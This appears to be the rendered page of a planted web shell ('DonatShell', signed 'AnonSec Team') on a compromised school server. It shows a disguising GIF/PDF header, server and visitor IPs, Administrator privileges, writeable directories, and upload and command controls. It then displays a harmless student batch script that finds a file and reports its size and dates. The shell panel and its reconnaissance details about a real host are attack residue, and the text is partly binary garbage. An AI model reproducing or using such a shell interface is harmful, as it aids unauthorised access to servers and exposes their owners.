GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab04/ooga/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab04/ooga/ffa.cmd
@echo off
cls
:: ff.cmd
:: Written by: Lance Sharkey
:: Written on: 2010/04/20

:: Test if command line extensions are enabled.
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
:: Display help when the /? parameter is passed.
if NOT "%~1"=="/?" goto SkipHelp
:Help
echo Find a File (ff). %~n0 will display where the file is found, the file size, 
echo the date created, the date last modified, and the date last accessed.
echo.
echo Usage: %~n0 filename[.ext] [dir_path]
echo.
echo  filename = The name of the file you want to find.
echo      .ext = The extension of the filename you want to find (Optional).
echo             If no .ext is given then the file extensions defined by the PATHEXE
echo             variable are searched for.
echo  dir_path = The directory path to search for the file. Subdirectories of 
echo             dir_path will also be searched.
echo             If no dir_path is given then the local directory and the directories
echo             defined by the Path variable are searched.
goto:EOF

:ExtensionsAreNotEnabled
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

:SkipHelp
if "%~1"=="" goto:NoFilename
::echo on
set _mycmd=where "%~1"
for /f "tokens=*" %%f in ('%_mycmd%') do call:Process "%%f" "%~1"
goto:EOF

:Process
::Get Filename
set _filename=
for /f "tokens=1-26 delims=\" %%a in ("%~1") do call:setFilename "%%a" "%%b" "%%c" "%%d" "%%e" "%%f" "%%g" "%%h" "%%i" "%%j" "%%k" "%%k" "%%m" "%%n" "%%o" "%%p" "%%q" "%%r" "%%s" "%%t" "%%u" "%%v" "%%w" "%%x" "%%y" "%%z"
echo.
echo %~2 was found in %~1
:: Get file size.
::echo on
for /f "tokens=4-5" %%a in ('dir "%~1"') do if "%%b"=="%_filename%" call:setSize "%%a"

echo The file size is %_filesize% bytes.
:: Get date created.
for /f "tokens=1-5" %%a in ('dir /tc "%~1"') do if "%%e"=="%_filename%" call:setCreated "%%a" "%%b" "%%c"
echo The date created was %_created%.
:: Get date last modified.
for /f "tokens=1-5" %%a in ('dir /tw "%~1"') do if "%%e"=="%_filename%" call:setModified "%%a" "%%b" "%%c"
echo The last date modifies is %_modified%.
:: Get date last accessed.
for /f "tokens=1-5" %%a in ('dir /tc "%~1"') do if "%%e"=="%_filename%" call:setAccessed "%%a" "%%b" "%%c"
echo Last Date Accessed was %_accessed%.

goto:EOF

for /f "tokens=1-5" %%a in ('dir "%~2"') do if "%%e"=="%_filename%" call:setSize "%%a" "%%b" "%%c" "%%e" "%%e"

echo %~1
dir "%~1" /t:c|find "%~1"
dir "%~1" /t:w|find "%~1"
dir "%~1" /t:a|find "%~1"

:setFilename
shift
if "%~0"=="" goto:EOF
set _filename=%~0
goto:setFilename

:setSize
set _filesize=%~1
goto:EOF

:setCreated
set _created=%~1 %~2 %~3
goto:EOF

:setModified
set _modified=%~1 %~2 %~3
goto:EOF

:setAccessed
set _accessed=%~1 %~2 %~3
goto:EOF

Anon7 - 2022
AnonSec Team